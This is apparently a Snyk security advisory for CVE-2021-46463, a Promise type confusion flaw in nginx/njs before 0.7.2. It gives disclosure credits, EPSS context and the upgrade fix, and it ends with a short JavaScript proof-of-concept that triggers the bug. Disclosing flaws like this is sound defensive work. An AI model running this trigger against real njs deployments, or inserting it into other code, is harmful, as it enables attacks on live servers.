Privilege Escalation Affecting nginx/njs package, versions [,0.7.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-NGINXNJS-2401465
- published18 Feb 2022
- disclosed15 Feb 2022
- creditP1umer, Kotori, afang5472
Introduced: 15 Feb 2022
CVE-2021-46463 (opens in a new tab)How to fix?
Upgrade nginx/njs to version 0.7.2 or higher.
Overview
Affected versions of this package are vulnerable to Privilege Escalation due to Type Confusion vulnerability of the Promise object in njs_promise_perform_then(), which can be exploited by manipulation of njs_promise_perform_then() function with an unknown input.
PoC:
function main() {
function v0(v1,v2) {
return 1
}
var o = [1,2,3,4,5,6]
const v1 = new Promise(v0);
o.__proto__= v1;
const v5 = [o];
const v7 = Promise.race(v5);
console.log(o)
}
main();